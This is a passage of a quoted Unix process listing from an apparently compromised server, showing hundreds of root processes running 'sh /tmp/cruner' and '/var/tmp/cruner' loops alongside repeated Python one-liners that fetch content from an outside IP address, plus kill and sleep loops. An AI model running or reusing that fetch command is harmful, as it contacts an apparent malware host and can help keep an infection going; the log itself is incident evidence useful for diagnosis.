? 0:00 sleep 60 > root 17974 17781 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29619 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16846 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25801 25783 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22845 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16064 1397 0 15:45:42 ? 0:00 xargs kill -9 > root 3314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8042 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8420 2916 0 15:10:21 ? 0:00 /opt/csw/sbin/sshd -R > root 12653 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14215 18867 0 15:46:08 ? 0:00 xargs kill -9 > root 24479 17848 0 - ? 0:00 <defunct> > root 12277 11517 0 - ? 0:00 <defunct> > root 18997 21231 0 15:46:04 ? 0:00 sleep 60 > root 15655 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6772 6751 0 15:43:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5543 23374 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4154 4148 0 - ? 0:00 <defunct> > root 10913 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10717 14565 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28535 13177 0 15:45:53 ? 0:00 sleep 60 > root 29377 10764 0 15:44:41 ? 0:00 bash -sh > root 28878 10614 0 15:45:34 ? 0:00 sleep 60 > root 21099 18988 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 17229 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15556 18733 0 15:45:51 ? 0:00 bash -sh > root 27852 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21249 7467 0 15:46:01 ? 0:00 bash -sh > root 7185 384 0 15:44:13 ? 0:00 bash -sh > root 21056 4307 0 15:43:52 ? 0:00 bash -sh > root 14962 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26563 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11270 16427 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29178 19834 0 - ? 0:00 <defunct> > root 12701 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2688 2656 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24769 13697 0 - ? 0:00 <defunct> > root 13779 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9591 9414 0 15:45:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21648 3094 0 15:45:17 ? 0:00 bash -sh > root 15660 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6739 25939 0 15:42:46 ? 0:00 bash -sh > root 18003 14212 0 15:46:00 ? 0:00 sh /tmp/cruner > root 18587 11395 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29925 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2985 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11913 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2498 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2972 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13108 20009 0 - ? 0:00 <defunct> > root 29235 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7672 7614 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15257 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6026 11816 0 15:46:06 ? 0:00 bash -sh > root 10119 773 0 - ? 0:00 <defunct> > root 26274 1641 0 - ? 0:00 <defunct> > root 27119 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10968 10767 0 15:43:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21737 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18721 19485 0 - ? 0:00 <defunct> > root 526 26835 0 15:45:48 ? 0:00 sleep 60 > root 20954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29499 25603 0 15:44:50 ? 0:00 bash -sh > root 27466 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21282 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10288 26490 0 - ? 0:00 <defunct> > root 4120 10600 0 15:44:50 ? 0:00 bash -sh > root 23582 19413 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22225 15409 0 - ? 0:00 <defunct> > root 9885 17442 0 - ? 0:00 <defunct> > root 12703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19769 16012 0 - ? 0:00 <defunct> > root 27816 29894 0 - ? 0:00 <defunct> > root 27302 7456 0 15:45:53 ? 0:00 xargs kill -9 > root 24571 28419 0 15:45:47 ? 0:00 sleep 60 > root 2692 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16891 20068 0 - ? 0:00 <defunct> > root 8293 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27713 12698 0 - ? 0:00 <defunct> > root 23599 27514 0 15:46:05 ? 0:00 sleep 60 > root 27472 7584 0 15:45:14 ? 0:00 sleep 60 > root 11213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29656 8392 0 15:45:34 ? 0:00 sleep 60 > root 28821 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28493 1803 0 15:45:18 ? 0:00 sleep 60 > root 29639 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27172 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17636 24345 0 - ? 0:00 <defunct> > root 7211 20314 0 15:45:35 ? 0:00 bash -sh > root 14898 27765 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 21366 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11516 21951 0 - ? 0:00 <defunct> > root 20585 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18428 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29106 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1658 15678 0 15:45:48 ? 0:00 sleep 60 > root 5750 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22467 2862 0 15:45:02 ? 0:00 bash -sh > root 19870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18685 28990 0 - ? 0:00 <defunct> > root 1446 25819 0 - ? 0:00 <defunct> > root 263 252 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16102 14186 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8095 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8345 9871 0 15:45:15 ? 0:00 sleep 60 > root 14347 14270 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18589 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11725 14255 0 - ? 0:00 <defunct> > root 28603 2728 0 15:43:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12675 12173 0 - ? 0:00 <defunct> > root 26015 19421 0 15:45:43 ? 0:00 xargs kill -9 > root 27269 17927 0 15:45:18 ? 0:00 sleep 60 > root 18420 10882 0 15:46:09 ? 0:00 sleep 60 > root 470 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1167 8129 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18560 13968 0 - ? 0:00 <defunct> > root 11805 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20893 6920 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1689 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24078 19485 0 - ? 0:00 <defunct> > root 7743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5370 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10220 19028 0 15:44:51 ? 0:00 bash -sh > root 6196 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 257 28761 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15434 19108 0 15:46:00 ? 0:00 sh /tmp/cruner > root 26847 25555 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25786 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1762 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28342 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16106 14625 0 - ? 0:00 <defunct> > root 18547 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19942 14319 0 15:46:00 ? 0:00 sleep 60 > root 10869 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15890 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13325 13284 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 569 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15086 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24622 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25005 1641 0 - ? 0:00 <defunct> > root 7776 25806 0 15:45:58 ? 0:00 sleep 60 > root 24685 13784 0 15:45:30 ? 0:00 bash -sh > root 1866 6302 0 15:45:58 ? 0:00 xargs kill -9 > root 23310 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10672 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9961 27000 0 15:46:07 ? 0:00 sleep 60 > root 18221 3153 0 - ? 0:00 <defunct> > root 21913 12692 0 15:44:53 ? 0:00 bash -sh > root 3067 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20615 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3422 20368 0 15:45:54 ? 0:00 sleep 60 > root 177 28159 0 15:45:53 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11898 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26116 6645 0 - ? 0:00 <defunct> > root 12850 20101 0 15:44:30 ? 0:00 bash -sh > root 3726 16873 0 15:45:58 ? 0:00 sleep 60 > root 8057 13619 0 15:46:07 ? 0:00 bash -sh > root 21564 19897 0 15:44:58 ? 0:00 bash -sh > root 12342 9077 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6433 26929 0 15:45:54 ? 0:00 sleep 60 > root 23811 18463 0 15:45:57 ? 0:00 sleep 60 > root 25415 14091 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5599 1 0 17:20:10 ? 0:01 sh /var/tmp/cruner > root 3460 19472 0 15:45:40 ? 0:00 bash -sh > root 12994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14555 25712 0 15:44:52 ? 0:00 bash -sh > root 12479 14671 0 15:46:08 ? 0:00 bash -sh > root 26711 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29524 11240 0 15:45:34 ? 0:00 sleep 60 > root 24873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1642 8415 0 15:45:19 ? 0:00 sleep 60 > root 4618 12714 0 15:45:31 ? 0:00 sleep 60 > root 7081 19246 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28272 208 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 1136 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13632 25135 0 15:44:43 ? 0:00 bash -sh > root 27074 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29866 15896 0 - ? 0:00 <defunct> > root 9874 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6057 721 0 15:43:31 ? 0:00 bash -sh > root 6028 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8222 21735 0 15:45:20 ? 0:00 sleep 60 > root 25118 17538 0 15:42:02 ? 0:00 bash -sh > root 21584 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10938 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11867 7574 0 15:43:01 ? 0:00 bash -sh > root 14426 24852 0 15:43:56 ? 0:00 bash -sh > root 13133 8491 0 15:44:30 ? 0:00 bash -sh > root 4949 23690 0 - ? 0:00 <defunct> > root 11362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22381 10771 0 15:45:42 ? 0:00 bash -sh > root 26258 23022 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6470 23375 0 15:45:04 ? 0:00 bash -sh > root 12363 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10057 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22347 28223 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21565 1566 0 - ? 0:00 <defunct> > root 22649 8770 0 15:43:22 ? 0:00 bash -sh > root 28529 27581 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17872 17480 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8673 5351 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21523 2916 0 15:45:42 ? 0:00 /opt/csw/sbin/sshd -R > root 28157 21435 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 21173 27141 0 15:44:53 ? 0:00 bash -sh > root 12147 1865 0 - ? 0:00 <defunct> > root 29570 29166 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 26328 10182 0 - ? 0:00 <defunct> > root 2823 12496 0 15:46:02 ? 0:00 bash -sh > root 23763 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25520 6290 0 15:45:23 ? 0:00 bash -sh > root 22635 22620 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26353 11430 0 15:46:10 ? 0:00 sh /tmp/cruner > root 2643 11088 0 15:46:06 ? 0:00 sleep 60 > root 9952 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2815 14248 0 15:43:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26547 26470 0 15:45:18 ? 0:00 sleep 60 > root 17835 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13373 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27505 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12885 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16126 7632 0 15:46:08 ? 0:00 bash -sh > root 22490 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4481 4404 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26108 5652 0 - ? 0:00 <defunct> > root 16498 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18381 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17245 9268 0 15:44:52 ? 0:00 bash -sh > root 16586 16434 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19207 3751 0 - ? 0:00 <defunct> > root 17923 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17666 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6797 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12249 24805 0 - ? 0:00 <defunct> > root 17002 4420 0 15:46:08 ? 0:00 bash -sh > root 3739 25232 0 - ? 0:00 <defunct> > root 7096 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21370 15799 0 15:45:12 ? 0:00 bash -sh > root 18248 1024 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 11007 25102 0 - ? 0:00 <defunct> > root 647 637 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8087 23212 0 - ? 0:00 <defunct> > root 24114 24107 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28727 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26968 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21297 19274 0 15:43:13 ? 0:00 bash -sh > root 12236 22976 0 15:45:25 ? 0:00 sleep 60 > root 16978 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27071 21533 0 15:46:10 ? 0:00 bash -sh > root 9267 29791 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16566 22421 0 15:45:42 ? 0:00 sleep 60 > root 26471 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15906 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4468 964 0 15:45:49 ? 0:00 sleep 60 > root 29591 11955 0 - ? 0:00 <defunct> > root 14179 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1530 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19969 14066 0 15:45:26 ? 0:00 bash -sh > root 14992 7096 0 15:45:55 ? 0:00 sleep 60 > root 10933 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15062 7317 0 - ? 0:00 <defunct> > root 29688 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8421 16219 0 - ? 0:00 <defunct> > root 27174 9979 0 15:46:10 ? 0:00 sh /tmp/cruner > root 8593 5939 0 15:45:10 ? 0:00 bash -sh > root 25613 7371 0 - ? 0:00 <defunct> > root 27549 22865 0 15:45:18 ? 0:00 sleep 60 > root 4731 1705 0 15:45:54 ? 0:00 bash -sh > root 8236 5547 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24902 22164 0 - ? 0:00 <defunct> > root 2698 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7359 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22554 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25861 18697 0 15:46:01 ? 0:00 sleep 60 > root 7997 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23029 14324 0 15:46:09 ? 0:00 bash -sh > root 24527 24517 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25745 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9534 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19613 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24162 17866 0 15:44:54 ? 0:00 bash -sh > root 12105 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8531 21654 0 15:45:25 ? 0:00 sleep 60 > root 26660 4263 0 15:46:10 ? 0:00 xargs kill -9 > root 1654 3532 0 15:46:02 ? 0:00 sleep 60 > root 15071 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10839 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23407 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8253 27540 0 15:45:20 ? 0:00 sleep 60 > root 13379 20969 0 15:45:21 ? 0:00 sleep 60 > root 3658 19501 0 15:45:40 ? 0:00 bash -sh > root 5689 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19282 14110 0 15:45:42 ? 0:00 sleep 60 > root 9687 9554 0 - ? 0:00 <defunct> > root 17395 22937 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 13710 2737 0 15:43:02 ? 0:00 bash -sh > root 23066 4442 0 15:45:02 ? 0:00 bash -sh > root 2892 19037 0 15:46:06 ? 0:00 sleep 60 > root 27121 29002 0 15:45:18 ? 0:00 sleep 60 > root 680 21899 0 15:44:50 ? 0:00 bash -sh > root 16158 24308 0 15:42:19 ? 0:00 bash -sh > root 1646 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 707 12658 0 15:45:44 ? 0:00 bash -sh > root 22081 22587 0 15:45:30 ? 0:00 bash -sh > root 29122 7243 0 15:45:47 ? 0:00 sleep 60 > root 17044 19798 0 - ? 0:00 <defunct> > root 8548 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16337 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18354 14884 0 15:45:42 ? 0:00 sleep 60 > root 13931 741 0 - ? 0:00 <defunct> > root 19792 29984 0 15:45:33 ? 0:00 sleep 60 > root 4655 23981 0 15:45:44 ? 0:00 sleep 60 > root 20756 4904 0 15:44:58 ? 0:00 bash -sh > root 2169 16836 0 15:46:06 ? 0:00 sleep 60 > root 14763 5944 0 15:45:41 ? 0:00 sleep 60 > root 11190 23243 0 - ? 0:00 <defunct> > root 28889 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14529 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4342 8625 0 - ? 0:00 <defunct> > root 3170 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12726 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21909 2944 0 - ? 0:00 <defunct> > root 7733 7529 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10631 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28495 9122 0 15:44:59 ? 0:00 bash -sh > root 3322 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 567 25363 0 15:45:39 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29612 24397 0 15:45:24 ? 0:00 sleep 60 > root 13964 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12948 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18495 1 0 21:24:03 ? 0:00 sh /tmp/cruner > root 27795 13739 0 - ? 0:00 <defunct> > root 14357 26986 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 7726 13311 0 15:45:20 ? 0:00 sleep 60 > root 2708 697 0 15:45:48 ? 0:00 sleep 60 > root 3139 7441 0 - ? 0:00 <defunct> > root 20456 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9385 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22586 444 0 - ? 0:00 <defunct> > root 23229 19973 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29571 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2151 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28555 25502 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21426 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10570 3251 0 15:45:55 ? 0:00 bash -sh > root 22313 394 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 20714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24275 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 797 18633 0 15:46:06 ? 0:00 bash -sh > root 28015 893 0 15:45:23 ? 0:00 sleep 60 > root 19765 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25568 17556 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20416 14252 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29986 13101 0 15:46:02 ? 0:00 bash -sh > root 19367 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21657 12091 0 15:45:26 ? 0:00 sleep 60 > root 20952 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14990 13666 0 - ? 0:00 <defunct> > root 383 15648 0 15:45:48 ? 0:00 sleep 60 > root 24094 29723 0 15:46:10 ? 0:00 bash -sh > root 10229 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9792 8245 0 15:45:10 ? 0:00 sh /tmp/cruner > root 1438 27499 0 15:45:48 ? 0:00 sleep 60 > root 17940 17920 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28069 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 267 7647 0 15:45:44 ? 0:00 sleep 60 > root 318 20930 0 - ? 0:00 <defunct> > root 25623 1949 0 15:45:57 ? 0:00 sleep 60 > root 29664 10285 0 15:45:34 ? 0:00 sleep 60 > root 26621 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3012 10705 0 15:45:58 ? 0:00 sleep 60 > root 23499 10880 0 - ? 0:00 <defunct> > root 1426 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4029 14042 0 15:44:02 ? 0:00 bash -sh > root 23597 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22439 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25441 15506 0 - ? 0:00 <defunct> > root 14709 2172 0 15:45:21 ? 0:00 sleep 60 > root 5701 875 0 - ? 0:00 <defunct> > root 8986 26302 0 15:44:03 ? 0:00 bash -sh > root 20123 13133 0 - ? 0:00 <defunct> > root 8981 11578 0 - ? 0:00 <defunct> > root 25848 26575 0 15:45:23 ? 0:00 sleep 60 > root 12631 29049 0 15:46:04 ? 0:00 bash -sh > root 5904 5979 0 - ? 0:00 <defunct> > root 3845 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2705 7061 0 15:45:27 ? 0:00 sleep 60 > root 8325 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10666 3137 0 15:43:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1431 12587 0 - ? 0:00 <defunct> > root 29303 26643 0 15:44:55 ? 0:00 bash -sh > root 19113 29322 0 - ? 0:00 <defunct> > root 29766 29640 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25429 17216 0 15:44:54 ? 0:00 bash -sh > root 11945 5019 0 15:45:05 ? 0:00 bash -sh > root 27267 24872 0 15:46:02 ? 0:00 sleep 60 > root 7866 12847 0 15:43:50 ? 0:00 bash -sh > root 12361 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23839 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10076 10593 0 - ? 0:00 <defunct> > root 18885 13383 0 - ? 0:00 <defunct> > root 18267 6132 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 27354 17271 0 15:45:43 ? 0:00 bash -sh > root 15650 9791 0 15:45:41 ? 0:00 sh /tmp/cruner > root 25144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2299 22737 0 15:45:27 ? 0:00 bash -sh > root 8598 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19524 2165 0 15:46:09 ? 0:00 sleep 60 > root 15100 13471 0 15:43:02 ? 0:00 bash -sh > root 1978 28244 0 - ? 0:00 <defunct> > root 29918 16264 0 15:43:30 ? 0:00 bash -sh > root 7665 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16817 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25374 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13707 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27030 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16972 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13482 23868 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5635 19986 0 - ? 0:00 <defunct> > root 8954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25364 9566 0 15:45:39 ? 0:00 bash -sh > root 21102 10516 0 15:45:52 ? 0:00 bash -sh > root 9537 15526 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 13348 23562 0 15:46:08 ? 0:00 xargs kill -9 > root 14205 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23281 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16977 29370 0 15:44:52 ? 0:00 bash -sh > root 23133 24640 0 15:45:47 ? 0:00 bash -sh > root 2791 17659 0 15:45:44 ? 0:00 sleep 60 > root 9416 9391 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3840 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6036 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3468 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10452 5968 0 - ? 0:00 <defunct> > root 26784 18231 0 - ? 0:00 <defunct> > root 19279 13880 0 - ? 0:00 <defunct> > root 20795 6152 0 15:44:36 ? 0:00 python -c import 